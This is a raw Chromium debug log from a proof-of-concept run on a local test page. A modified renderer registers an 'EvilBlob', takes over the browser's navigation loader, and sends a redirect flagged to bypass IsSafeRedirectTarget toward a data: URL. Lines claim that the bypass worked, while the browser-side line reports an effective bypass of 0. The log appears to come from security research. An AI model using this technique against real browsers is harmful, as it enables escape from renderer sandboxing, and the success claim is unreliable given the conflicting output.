[2145:2145:0516/174901.746469:ERROR:content/renderer/render_frame_impl.cc:4289] [POC][renderer] poc.html loaded at http://127.0.0.1:18080/poc.html, binding BlobURLStore via BrowserInterfaceBroker. [2145:2145:0516/174901.776061:ERROR:content/renderer/render_frame_impl.cc:427] [POC][renderer] Registering renderer-hosted Blob at blob:http://127.0.0.1:18080/11111111-2222-3333-4444-555555555555 [2145:2145:0516/174901.782896:ERROR:content/renderer/render_frame_impl.cc:432] [POC][renderer] BlobURLStore.Register acked by browser. [2052:2052:0516/174902.748847:INFO:CONSOLE:19] "[POC][page] Navigating iframe to blob:http://127.0.0.1:18080/11111111-2222-3333-4444-555555555555", source: http://127.0.0.1:18080/poc.html (19) [2145:2145:0516/174902.753338:ERROR:content/renderer/render_frame_impl.cc:341] [POC][renderer] EvilBlob::Clone called by browser (BlobUrlRegistry::GetBlobFromUrl). [2145:2145:0516/174902.760506:ERROR:content/renderer/render_frame_impl.cc:341] [POC][renderer] EvilBlob::Clone called by browser (BlobUrlRegistry::GetBlobFromUrl). [2145:2145:0516/174902.804734:ERROR:content/renderer/render_frame_impl.cc:363] [POC][renderer] EvilBlob::Load called: renderer now owns the browser-process navigation URLLoaderClient remote. [2145:2145:0516/174902.804952:ERROR:content/renderer/render_frame_impl.cc:401] [POC][renderer] Sending OnReceiveRedirect to browser with bypass_redirect_checks=true, new_url=data:text/html,POC-REDIRECT-LANDED

bypass_redirect_checks: IsSafeRedirectTarget bypassed via renderer-hosted Blob

[2052:2052:0516/174902.805828:ERROR:content/browser/loader/navigation_url_loader_impl.cc:1613] [POC][browser] OnReceiveRedirect: blob:http://127.0.0.1:18080/11111111-2222-3333-4444-555555555555 -> data:text/html,POC-REDIRECT-LANDED

bypass_redirect_checks: IsSafeRedirectTarget bypassed via renderer-hosted Blob

| head->bypass_redirect_checks=1 | trusted bypass_redirect_checks_=0 | effective bypass=0 | IsSafeRedirectTarget()=0 [2052:2052:0516/174905.745955:INFO:CONSOLE:19] "[POC][page] iframe cross-origin (expected for data:): Failed to read a named property 'href' from 'Location': Blocked a frame with origin "http://127.0.0.1:18080" from accessing a cross-origin frame.", source: http://127.0.0.1:18080/poc.html (19)